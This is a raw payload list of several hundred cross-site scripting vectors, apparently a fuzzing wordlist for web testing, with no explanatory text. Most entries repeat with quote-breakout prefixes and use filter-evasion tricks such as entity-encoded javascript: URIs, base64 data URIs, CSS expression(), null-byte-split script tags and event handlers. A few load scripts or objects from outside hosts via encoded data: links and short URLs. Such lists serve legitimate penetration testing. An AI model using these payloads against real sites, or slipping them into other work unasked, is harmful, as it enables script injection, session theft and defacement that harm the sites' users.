javascript:&#x61;ler\\u0074&lpar;4); \"\r\n\"; javascript:window.open('data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=='); \"\r\n\"onmouseover=\"alert(1)\r\n&#34;onmouseover=&#34;alert(1)\r\n&#x00022;onmouseover=&#x00022;alert(1)\r\n%22onmouseover=%22alert(1)\r\n&quot;onmouseover=&quot;alert(1)\r\n\\u0022onmouseover=\\u0022alert(1)\r\nwidth:expression(prompt(1))\r\nwidth:ex/**/pression(prompt(1))\r\nwidth&#x3A;ex/**/pression&#x28;prompt&#x28;1&#x29;&#x29;\r\nwidth:expression\\28 prompt \\28 1 \\29 \\29\r\nwidth:\\0065\\0078\\0070\\0072\\0065\\0073\\0073\\0069\\006F\\006E\\0028\\0070\\0072\\006F\\006D\\0070\\0074\\0028\\0031\\0029\\0029\"\r\nbackground-image: url(javascript:prompt(1))\r\n<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe\r\n\"><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe\r\n'><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe\r\n\"><img src=x onerror=window.open('http://www.opensecurity.in/');>\r\n<object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>\r\n\"><object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>\r\n'><object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>\r\n<a href=\"data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203\">Click Me</a>\r\n\"><a href=\"data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203\">Click Me</a>\r\n'><a href=\"data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203\">Click Me</a>\r\n<svg+onload=confirm(1);>\r\n\"><svg+onload=confirm(1);>\r\n'><svg+onload=confirm(1);>\r\n<svg onload=prompt(1);>\r\n\"><svg onload=prompt(1);>\r\n'><svg onload=prompt(1);>\r\n<input+onfocus=alert(1)>\r\n\"><input+onfocus=alert(1)>\r\n'><input+onfocus=alert(1)>\r\n???script?alert(1)?/script?\r\n&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;\r\n<a href=\"j&#x26;#x26#x41;vascript:alert%252831337%2529\">X</a>\r\n\"><a href=\"j&#x26;#x26#x41;vascript:alert%252831337%2529\">X</a>\r\n'><a href=\"j&#x26;#x26#x41;vascript:alert%252831337%2529\">X</a>\r\n<scr\\x00ipt>confirm(1);</scr\\x00ipt>\r\n\"><scr\\x00ipt>confirm(1);</scr\\x00ipt>\r\n'><scr\\x00ipt>confirm(1);</scr\\x00ipt>\r\n<svg/onload=prompt(1);>\r\n\"><svg/onload=prompt(1);>\r\n'><svg/onload=prompt(1);>\r\n<svg><script>alert&#40/1/&#41</script>\r\n\"><svg><script>alert&#40/1/&#41</script>\r\n'><svg><script>alert&#40/1/&#41</script>\r\n<isindex action=\"javas&Tab;cript:alert(1)\" type=image>\r\n\"><isindex action=\"javas&Tab;cript:alert(1)\" type=image>\r\n'><isindex action=\"javas&Tab;cript:alert(1)\" type=image>\r\n<form action='data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt'><button>CLICK\r\n\"><form action='data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt'><button>CLICK\r\n'><form action='data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt'><button>CLICK\r\n<form action='java&Tab;scri&Tab;pt:alert(1)'><button>CLICK\r\n\"><form action='java&Tab;scri&Tab;pt:alert(1)'><button>CLICK\r\n'><form action='java&Tab;scri&Tab;pt:alert(1)'><button>CLICK\r\n<form action=javascript&NewLine;:alert(1)><input type=submit>\r\n\"><form action=javascript&NewLine;:alert(1)><input type=submit>\r\n'><form action=javascript&NewLine;:alert(1)><input type=submit>\r\n<form action=\"javas&Tab;cript:alert(1)\" method=\"get\"><input type=\"submit\" value=\"Submit\"></form>\r\n\"><form action=\"javas&Tab;cript:alert(1)\" method=\"get\"><input type=\"submit\" value=\"Submit\"></form>\r\n'><form action=\"javas&Tab;cript:alert(1)\" method=\"get\"><input type=\"submit\" value=\"Submit\"></form>\r\n<form action=\"&Tab;javas&Tab;cript&Tab;:alert('X :)')\" autocomplete=\"on\"> First name:<input type=\"text\" name=\"fname\"><br><input type=\"submit\"></form>\r\n\"><form action=\"&Tab;javas&Tab;cript&Tab;:alert('X :)')\" autocomplete=\"on\"> First name:<input type=\"text\" name=\"fname\"><br><input type=\"submit\"></form>\r\n'><form action=\"&Tab;javas&Tab;cript&Tab;:alert('X :)')\" autocomplete=\"on\"> First name:<input type=\"text\" name=\"fname\"><br><input type=\"submit\"></form>\r\n<form id=\"myform\" value=\"\" action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type=\"submit\" value=\"Absenden\"></form>\r\n\"><form id=\"myform\" value=\"\" action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type=\"submit\" value=\"Absenden\"></form>\r\n'><form id=\"myform\" value=\"\" action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type=\"submit\" value=\"Absenden\"></form>\r\n'\">><marquee><img src=x onerror=confirm(1)></marquee>\"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)\r\n\"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)\r\n'></plaintext\\></|\\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/X/) type=submit>'-->\"></script><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\"><img/id=\"confirm&lpar;1&#x29;\"/alt=\"/\"src=\"/\"onerror=eval(id&#x29;>'\"><img src=\"http://127.0.0.1:3555/xss_serve_payloads/X.jpg\">\r\n<script>var url = \"<!--<script>\";//</script>alert(1)</script>\r\n</ScrIpt><script>var url = \"<!--<script>\";//</script>alert(1)</script>\r\n\"><script>var url = \"<!--<script>\";//</script>alert(1)</script>\r\n</ScrIpt><script>var url = \"<!--<script>\";//</script>alert(1)</script>\r\n'><script>var url = \"<!--<script>\";//</script>alert(1)</script>\r\n</ScrIpt><script>var url = \"<!--<script>\";//</script>alert(1)</script>\r\n<form id=\"myform\" value=\"\"+{valueOf:location,length:1,__proto__:[],0:\"javascript :alert (1)\"}\"action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type=\"submit\" value=\"Absenden\"></form>\r\n\"><form id=\"myform\" value=\"\"+{valueOf:location,length:1,__proto__:[],0:\"javascript :alert (1)\"}\"action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type=\"submit\" value=\"Absenden\"></form>\r\n'><form id=\"myform\" value=\"\"+{valueOf:location,length:1,__proto__:[],0:\"javascript :alert (1)\"}\"action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type=\"submit\" value=\"Absenden\"></form>\r\n<iframe/src=\"data:text/html,<svg%09%0A%0B%0C%0D%A0%00%20onload=confirm(1);>\">\r\n\"><iframe/src=\"data:text/html,<svg%09%0A%0B%0C%0D%A0%00%20onload=confirm(1);>\">\r\n'><iframe/src=\"data:text/html,<svg%09%0A%0B%0C%0D%A0%00%20onload=confirm(1);>\">\r\n<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(75)&chr(67)&chr(70)))\r\n\"><svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(75)&chr(67)&chr(70)))\r\n'><svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(75)&chr(67)&chr(70)))\r\n<img/src='http://127.0.0.1:3555/xss_serve_payloads/X.jpg' onmouseover=&Tab;prompt(1)\r\n\"><img/src='http://127.0.0.1:3555/xss_serve_payloads/X.jpg' onmouseover=&Tab;prompt(1)\r\n'><img/src='http://127.0.0.1:3555/xss_serve_payloads/X.jpg' onmouseover=&Tab;prompt(1)\r\n<svg><script>alert&#40 1&#41\r\n\"><svg><script>alert&#40 1&#41\r\n'><svg><script>alert&#40 1&#41\r\n<embed/src=//goo.gl/nlX0P>\r\n\"><embed/src=//goo.gl/nlX0P>\r\n'><embed/src=//goo.gl/nlX0P>\r\n<object/data=//goo.gl/nlX0P>\r\n\"><object/data=//goo.gl/nlX0P>\r\n'><object/data=//goo.gl/nlX0P>\r\nx:anytext/**/xxxx/**/n(alert(1)) (\"\\\"))))))expressio\\\")\r\nx: /**/ression(alert(1))('\\')exp\\')\r\n/*@cc_on alert(1) @*/\r\n{get[alert`1`](){}}\r\na= {get[alert`1`](){}}\r\nalert`1`\r\n-alert`1`-\r\n+alert`1`+\r\n+alert(1)+'\r\n\\u{0000000000000061}lert(1)\r\n\"onmouseover=%0A\"confirm(1)\r\n/src=data:,alert(1)\r\naccesskey=\"X\" onclick=\"alert(1)\"\"\r\naccesskey=X onclick=alert(1)\r\n$})}}}});alert(1);({0:{0:{0:function(){0({\r\n''+{valueOf:location, toString:[].join,0:'javascript:prompt%281%29?,length:1}\r\njavascript://'/</title></style></textarea></script>--><p\"%0A onclick=alert(1)//>*/alert(1)/*\r\njavascript://--></script></title></style>\"/</textarea>*/<alert(1)/*'%0A onclick=alert(1)//>a\r\njavascript://</title>\"/</script></style></textarea/-->*/<alert(1)/*'%0D%0A onclick=alert(1)//>/\r\njavascript://'/</title></style></textarea></script>--><p\"%0D%0A onclick=alert(1)//>*/alert(1)/*\r\n%09javascript://'/</title></style></textarea></script>--><p\"%0D%0A onclick=alert(1)//>*/alert(1)/*\r\njavascript:/*--></title></style></textarea></script><svg/onload=click() onclick='+/\" /+/ onmouseover=1/+/[*/[]/+alert(1)//'>\r\njavascript:alert(1)//</title></style></script>-->\";alert(1)//*/alert(1)/*<a ';alert(1)//\\' onclick=alert(1)//> %0D %0A alert(1)//\r\njavascript:alert(1)//--></script></textarea></style></title><a\"//' onclick=alert(1)//>*/alert(1)/*\r\navascript:/*--></textarea></style></button></script></meta><select/onclick='+/\"/+/[*/[]/+alert(1)//'>\r\n<style>@keyframes x{</style><div style=animation-name:x onanimationstart=alert(1)>\r\n\"><style>@keyframes x{</style><div style=animation-name:x onanimationstart=alert(1)>\r\n'><style>@keyframes x{</style><div style=animation-name:x onanimationstart=alert(1)>\r\n<div style='x:anytext/**/xxxx/**/n(alert(1)) (\"\\\"))))))expressio\\\")'>aa</div>\r\n\"><div style='x:anytext/**/xxxx/**/n(alert(1)) (\"\\\"))))))expressio\\\")'>aa</div>\r\n'><div style='x:anytext/**/xxxx/**/n(alert(1)) (\"\\\"))))))expressio\\\")'>aa</div>\r\n<div style=\"x: /**/ression(alert(1))('\\')exp\\')\">\r\n\"><div style=\"x: /**/ression(alert(1))('\\')exp\\')\">\r\n'><div style=\"x: /**/ression(alert(1))('\\')exp\\')\">\r\n<script>/*@cc_on alert(1) @*/</script>\r\n</ScrIpt><script>/*@cc_on alert(1) @*/</script>\r\n\"><script>/*@cc_on alert(1) @*/</script>\r\n</ScrIpt><script>/*@cc_on alert(1) @*/</script>\r\n'><script>/*@cc_on alert(1) @*/</script>\r\n</ScrIpt><script>/*@cc_on alert(1) @*/</script>\r\n<picture><source srcset=1><img onerror=alert(1)>\r\n\"><picture><source srcset=1><img onerror=alert(1)>\r\n'><picture><source srcset=1><img onerror=alert(1)>\r\n<script>''+{valueOf:location, toString:[].join,0:'javascript:prompt%281%29?,length:1}</script>\r\n</ScrIpt><script>''+{valueOf:location, toString:[].join,0:'javascript:prompt%281%29?,length:1}</script>\r\n\"><script>''+{valueOf:location, toString:[].join,0:'javascript:prompt%281%29?,length:1}</script>\r\n</ScrIpt><script>''+{valueOf:location, toString:[].join,0:'javascript:prompt%281%29?,length:1}</script>\r\n'><script>''+{valueOf:location, toString:[].join,0:'javascript:prompt%281%29?,length:1}</script>\r\n</ScrIpt><script>''+{valueOf:location, toString:[].join,0:'javascript:prompt%281%29?,length:1}</script>\r\n<script>alert`1`</script>\r\n</ScrIpt><script>alert`1`</script>\r\n\"><script>alert`1`</script>\r\n</ScrIpt><script>alert`1`</script>\r\n'><script>alert`1`</script>\r\n</ScrIpt><script>alert`1`</script>\r\n<svg><script>prompt(1)<p\r\n\"><svg><script>prompt(1)<p\r\n'><svg><script>prompt(1)<p\r\n<div/onmouseover=confirm(1)>div</div\r\n\"><div/onmouseover=confirm(1)>div</div\r\n'><div/onmouseover=confirm(1)>div</div\r\n<input onresize=alert(1)>\r\n\"><input onresize=alert(1)>\r\n'><input onresize=alert(1)>\r\n<input onActivate=alert(1) autofocus>\r\n\"><input onActivate=alert(1) autofocus>\r\n'><input onActivate=alert(1) autofocus>\r\n<input onBeforeActivate=alert(1) autofocus>\r\n\"><input onBeforeActivate=alert(1) autofocus>\r\n'><input onBeforeActivate=alert(1) autofocus>\r\n<input type=\"hidden\" accesskey=\"X\" onclick=\"alert(1)\">\r\n\"><input type=\"hidden\" accesskey=\"X\" onclick=\"alert(1)\">\r\n'><input type=\"hidden\" accesskey=\"X\" onclick=\"alert(1)\">\r\n<script>a= {get[alert`1`](){}}</script>\r\n</ScrIpt><script>a= {get[alert`1`](){}}</script>\r\n\"><script>a= {get[alert`1`](){}}</script>\r\n</ScrIpt><script>a= {get[alert`1`](){}}</script>\r\n'><script>a= {get[alert`1`](){}}</script>\r\n</ScrIpt><script>a= {get[alert`1`](){}}</script>\r\n<script>+{[atob`dG9TdHJpbmc`]()alert`1`}</script>\r\n</ScrIpt><script>+{[atob`dG9TdHJpbmc`]()alert`1`}</script>\r\n\"><script>+{[atob`dG9TdHJpbmc`]()alert`1`}</script>\r\n</ScrIpt><script>+{[atob`dG9TdHJpbmc`]()alert`1`}</script>\r\n'><script>+{[atob`dG9TdHJpbmc`]()alert`1`}</script>\r\n</ScrIpt><script>+{[atob`dG9TdHJpbmc`]()alert`1`}</script>\r\n<script/src=data:,alert(1)>\r\n\"><script/src=data:,alert(1)>\r\n'><script/src=data:,alert(1)></script>\r\n\"><script/src=data:,alert(1)>\r\n\"><script/src=data:,alert(1)>\r\n'><script/src=data:,alert(1)></script>\r\n'><script/src=data:,alert(1)>\r\n\"><script/src=data:,alert(1)>\r\n'><script/src=data:,alert(1)></script>\r\n<input/autofocus/onfocus=alert(1)>\r\n\"><input/autofocus/onfocus=alert(1)>\r\n'><input/autofocus/onfocus=alert(1)>\r\n</script><svg><script>alert(1)+&quot;\r\n\"></script><svg><script>alert(1)+&quot;\r\n'></script><svg><script>alert(1)+&quot;\r\n<script/src=data:,alert(1)>\r\n\"><script/src=data:,alert(1)>\r\n'><script/src=data:,alert(1)>\r\n<marquee/onstart=alert(1)>\r\n\"><marquee/onstart=alert(1)>\r\n'><marquee/onstart=alert(1)>\r\n<video/poster/onerror=alert(1)>\r\n\"><video/poster/onerror=alert(1)>\r\n'><video/poster/onerror=alert(1)>\r\n<isindex/autofocus/onfocus=alert(1)>\r\n\"><isindex/autofocus/onfocus=alert(1)>\r\n'><isindex/autofocus/onfocus=alert(1)>\r\n<body onload=\"$})}}}});alert(1);({0:{0:{0:function(){0({\">\r\n\"><body onload=\"$})}}}});alert(1);({0:{0:{0:function(){0({\">\r\n'><body onload=\"$})}}}});alert(1);({0:{0:{0:function(){0({\">\r\n<iframe name=alert(1) src=\"//x?x=',__defineSetter__('x',eval),x=name,'\"></iframe>\r\n\"><iframe name=alert(1) src=\"//x?x=',__defineSetter__('x',eval),x=name,'\"></iframe>\r\n'><iframe name=alert(1) src=\"//x?x=',__defineSetter__('x',eval),x=name,'\"></iframe>\r\n';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//\";alert(String.fromCharCode (88,83,83))//\";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>\r\n\">><marquee><img src=x onerror=confirm(1)></marquee>\" ></plaintext\\></|\\><plaintext/onmouseover=prompt(1)\r\n\"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)\r\n'></plaintext\\></|\\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->\" ></script><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\"><img/id=\"confirm&lpar; 1)\"/alt=\"/\"src=\"/\"onerror=eval(id&%23x29;>'\"><img src=\"http: //i.imgur.com/P8mL8.jpg?>\r\n\" onclick=alert(1)//<button ? onclick=alert(1)//> */ alert(1)//\r\njavascript:confirm(1)\r\njavascript:confirm(1);\r\njavascript:alert(1)\r\njavascript:alert(1);\r\navascript&#00058;alert(1)\r\njavaSCRIPT&colon;alert(1)\r\nJaVaScRipT:alert(1)\r\njavas&Tab;cript:\\u0061lert(1);\r\njavascript:\\u0061lert&#x28;1&#x29\r\njavascript&#x3A;alert&lpar;1&rpar;\r\njavascript&colon;alert(1)\r\njavascript&#x3A;alert(1)\r\nj&#x61;v&#x41;sc&#x52;ipt&#x3A;alert(1)\r\nj&#x61;v&#x41;sc&#x52;ipt&#x3A;al&#x65;rt&lpar;1&rpar;\r\nvbscript:alert(1);\r\nvbscript&#00058;alert(1);\r\nvbscr&Tab;ipt:alert(1)\"\r\n<iframesrc=\"javascript:alert(2)\">\r\n\"><iframesrc=\"javascript:alert(2)\">\r\n'><iframesrc=\"javascript:alert(2)\">\r\n<iframe/src=\"data:text&sol;html;&Tab;base64&NewLine;,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n\"><iframe/src=\"data:text&sol;html;&Tab;base64&NewLine;,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n'><iframe/src=\"data:text&sol;html;&Tab;base64&NewLine;,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n<isindexformaction=\"javascript:alert(1)\" type=image>\r\n\"><isindexformaction=\"javascript:alert(1)\" type=image>\r\n'><isindexformaction=\"javascript:alert(1)\" type=image>\r\n<input type=\"image\" formaction=JaVaScript:alert(0)>\r\n\"><input type=\"image\" formaction=JaVaScript:alert(0)>\r\n'><input type=\"image\" formaction=JaVaScript:alert(0)>\r\n<form><button formaction=javascript&colon;alert(1)>CLICKME\r\n\"><form><button formaction=javascript&colon;alert(1)>CLICKME\r\n'><form><button formaction=javascript&colon;alert(1)>CLICKME\r\n<form action=\"Javascript:alert(1)\"><input type=submit>\r\n\"><form action=\"Javascript:alert(1)\"><input type=submit>\r\n'><form action=\"Javascript:alert(1)\"><input type=submit>\r\n<isindex action=\"javascript:alert(1)\" type=image>\r\n\"><isindex action=\"javascript:alert(1)\" type=image>\r\n'><isindex action=\"javascript:alert(1)\" type=image>\r\n<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>\r\n\"><isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>\r\n'><isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>\r\n<isindex action=data:text/html, type=image>\r\n\"><isindex action=data:text/html, type=image>\r\n'><isindex action=data:text/html, type=image>\r\n?/><marquee onfinish=confirm(1)>a</marquee>\r\n<object data='data:text/xml,<script xmlns=\"http://www.w3.org/1999/xhtml \">confirm(1)</script>>'>\r\n\"><object data='data:text/xml,<script xmlns=\"http://www.w3.org/1999/xhtml \">confirm(1)</script>>'>\r\n'><object data='data:text/xml,<script xmlns=\"http://www.w3.org/1999/xhtml \">confirm(1)</script>>'>\r\n<img src= \"a\" onerror= 'eval(atob(\"cHJvbXB0KDEpOw==\"))'\r\n\"><img src= \"a\" onerror= 'eval(atob(\"cHJvbXB0KDEpOw==\"))'\r\n'><img src= \"a\" onerror= 'eval(atob(\"cHJvbXB0KDEpOw==\"))'\r\n<script>alert('X')</script>=a\r\n</ScrIpt><script>alert('X')</script>=a\r\n\"><script>alert('X')</script>=a\r\n</ScrIpt><script>alert('X')</script>=a\r\n'><script>alert('X')</script>=a\r\n</ScrIpt><script>alert('X')</script>=a\r\n<script>document.write(toStaticHTML(\"<style>div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{}</style><div>POC</div>\"))</script>\r\n</ScrIpt><script>document.write(toStaticHTML(\"<style>div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{}</style><div>POC</div>\"))</script>\r\n\"><script>document.write(toStaticHTML(\"<style>div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{}</style><div>POC</div>\"))</script>\r\n</ScrIpt><script>document.write(toStaticHTML(\"<style>div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{}</style><div>POC</div>\"))</script>\r\n'><script>document.write(toStaticHTML(\"<style>div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{}</style><div>POC</div>\"))</script>\r\n</ScrIpt><script>document.write(toStaticHTML(\"<style>div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{}</style><div>POC</div>\"))</script>\r\n';!--\"<XSS><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n\"><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n'><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>={()}\r\n<script>document.body.innerHTML=\"<a onmouseover%0B=location='\\x6A\\x61\\x76\\x61\\x53\\x43\\x52\\x49\\x50\\x54\\x26\\x63\\x6F\\x6C\\x6F\\x6E\\x3B\\x61\\x6C\\x65\\x72\\x74\\x26\\x6C\\x70\\x61\\x72\\x3B\\x31\\x26\\x72\\x70\\x61\\x72\\x3B'><input name=attributes>\";</script>\r\n</ScrIpt><script>document.body.innerHTML=\"<a onmouseover%0B=location='\\x6A\\x61\\x76\\x61\\x53\\x43\\x52\\x49\\x50\\x54\\x26\\x63\\x6F\\x6C\\x6F\\x6E\\x3B\\x61\\x6C\\x65\\x72\\x74\\x26\\x6C\\x70\\x61\\x72\\x3B\\x31\\x26\\x72\\x70\\x61\\x72\\x3B'><input name=attributes>\";</script>\r\n\"><script>document.body.innerHTML=\"<a onmouseover%0B=location='\\x6A\\x61\\x76\\x61\\x53\\x43\\x52\\x49\\x50\\x54\\x26\\x63\\x6F\\x6C\\x6F\\x6E\\x3B\\x61\\x6C\\x65\\x72\\x74\\x26\\x6C\\x70\\x61\\x72\\x3B\\x31\\x26\\x72\\x70\\x61\\x72\\x3B'><input name=attributes>\";</script>\r\n</ScrIpt><script>document.body.innerHTML=\"<a onmouseover%0B=location='\\x6A\\x61\\x76\\x61\\x53\\x43\\x52\\x49\\x50\\x54\\x26\\x63\\x6F\\x6C\\x6F\\x6E\\x3B\\x61\\x6C\\x65\\x72\\x74\\x26\\x6C\\x70\\x61\\x72\\x3B\\x31\\x26\\x72\\x70\\x61\\x72\\x3B'><input name=attributes>\";</script>\r\n'><script>document.body.innerHTML=\"<a onmouseover%0B=location='\\x6A\\x61\\x76\\x61\\x53\\x43\\x52\\x49\\x50\\x54\\x26\\x63\\x6F\\x6C\\x6F\\x6E\\x3B\\x61\\x6C\\x65\\x72\\x74\\x26\\x6C\\x70\\x61\\x72\\x3B\\x31\\x26\\x72\\x70\\x61\\x72\\x3B'><input name=attributes>\";</script>\r\n</ScrIpt><script>document.body.innerHTML=\"<a onmouseover%0B=location='\\x6A\\x61\\x76\\x61\\x53\\x43\\x52\\x49\\x50\\x54\\x26\\x63\\x6F\\x6C\\x6F\\x6E\\x3B\\x61\\x6C\\x65\\x72\\x74\\x26\\x6C\\x70\\x61\\x72\\x3B\\x31\\x26\\x72\\x70\\x61\\x72\\x3B'><input name=attributes>\";</script>\r\nasfunction:getURL,javascript:alert(1)//\r\n\\%22))}catch(e){}if(!self.a)self.a=!alert(1)//\r\n\"]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;//\r\n0%5C\"))%7Dcatch(e)%7Bif(!window.x)%7Bwindow.x=1;alert(1)%7D%7D//\r\n<button/onclick=alert(1) >X</button>\r\n\"><button/onclick=alert(1) >X</button>\r\n'><button/onclick=alert(1) >X</button>\r\n<a onmouseover=(alert(1))>X</a>\r\n\"><a onmouseover=(alert(1))>X</a>\r\n'><a onmouseover=(alert(1))>X</a>\r\n<p/onmouseover=javascript:alert(1); >X</p>\r\n\"><p/onmouseover=javascript:alert(1); >X</p>\r\n'><p/onmouseover=javascript:alert(1); >X</p>\r\n<article xmlns=\"><img src=x onerror=alert(1)\"></article>\r\n\"><article xmlns=\"><img src=x onerror=alert(1)\"></article>\r\n'><article xmlns=\"><img src=x onerror=alert(1)\"></article>\r\n<article xmlns=\"x:img src=x onerror=alert(1) \">\r\n\"><article xmlns=\"x:img src=x onerror=alert(1) \">\r\n'><article xmlns=\"x:img src=x onerror=alert(1) \">\r\n<p style=\"font-family:'\\22\\3bx:expression(alert(1))/*'\">\r\n\"><p style=\"font-family:'\\22\\3bx:expression(alert(1))/*'\">\r\n'><p style=\"font-family:'\\22\\3bx:expression(alert(1))/*'\">\r\n<listing>&ltimg src=x onerror=alert(1)&gt</listing>\r\n\"><listing>&ltimg src=x onerror=alert(1)&gt</listing>\r\n'><listing>&ltimg src=x onerror=alert(1)&gt</listing>\r\n\"onmouseover=alert(1);a=\"\r\n'+alert(1)&&null=='\r\n+alert(1)&&null=='\r\n\\\\\\'><script>1<\\\\/script>\r\n\\\\\\'><body onload=\\\\\\'1\\\\\\'>\r\n\\\"><script>1<\\\\/script>\r\n><script>1<\\\\/script>\r\n\\\"><body onload=\\\"1\\\">\r\n<img src=\\\"x:X\\\" onerror=\\\"alert(1)\\\">\r\n\"><img src=\\\"x:X\\\" onerror=\\\"alert(1)\\\">\r\n'><img src=\\\"x:X\\\" onerror=\\\"alert(1)\\\">\r\n<img src=a onerror=alert(1)\r\n\"><img src=a onerror=alert(1)\r\n'><img src=a onerror=alert(1)\r\n<script>alert(\\'1\\')</script>\r\n</ScrIpt><script>alert(\\'1\\')</script>\r\n\"><script>alert(\\'1\\')</script>\r\n</ScrIpt><script>alert(\\'1\\')</script>\r\n'><script>alert(\\'1\\')</script>\r\n</ScrIpt><script>alert(\\'1\\')</script>\r\n<script>alert(\\'\\\\\\\\1\\\\\\\\\\')</script>\r\n</ScrIpt><script>alert(\\'\\\\\\\\1\\\\\\\\\\')</script>\r\n\"><script>alert(\\'\\\\\\\\1\\\\\\\\\\')</script>\r\n</ScrIpt><script>alert(\\'\\\\\\\\1\\\\\\\\\\')</script>\r\n'><script>alert(\\'\\\\\\\\1\\\\\\\\\\')</script>\r\n</ScrIpt><script>alert(\\'\\\\\\\\1\\\\\\\\\\')</script>\r\n<script>alert(\\'\\\\/\\\\1\\\\/\\\\\\')</script>\r\n</ScrIpt><script>alert(\\'\\\\/\\\\1\\\\/\\\\\\')</script>\r\n\"><script>alert(\\'\\\\/\\\\1\\\\/\\\\\\')</script>\r\n</ScrIpt><script>alert(\\'\\\\/\\\\1\\\\/\\\\\\')</script>\r\n'><script>alert(\\'\\\\/\\\\1\\\\/\\\\\\')</script>\r\n</ScrIpt><script>alert(\\'\\\\/\\\\1\\\\/\\\\\\')</script>\r\n\\'\\'\\\">\r\n<scri%00pt>alert(1);</scri%00pt>\r\n\"><scri%00pt>alert(1);</scri%00pt>\r\n'><scri%00pt>alert(1);</scri%00pt>\r\n<scri\\x00pt>alert(1);</scri%00pt>\r\n\"><scri\\x00pt>alert(1);</scri%00pt>\r\n'><scri\\x00pt>alert(1);</scri%00pt>\r\n<s%00c%00r%00%00ip%00t>confirm(1);</s%00c%00r%00%00ip%00t>\r\n\"><s%00c%00r%00%00ip%00t>confirm(1);</s%00c%00r%00%00ip%00t>\r\n'><s%00c%00r%00%00ip%00t>confirm(1);</s%00c%00r%00%00ip%00t>\r\n<script>alert(1);</script>\r\n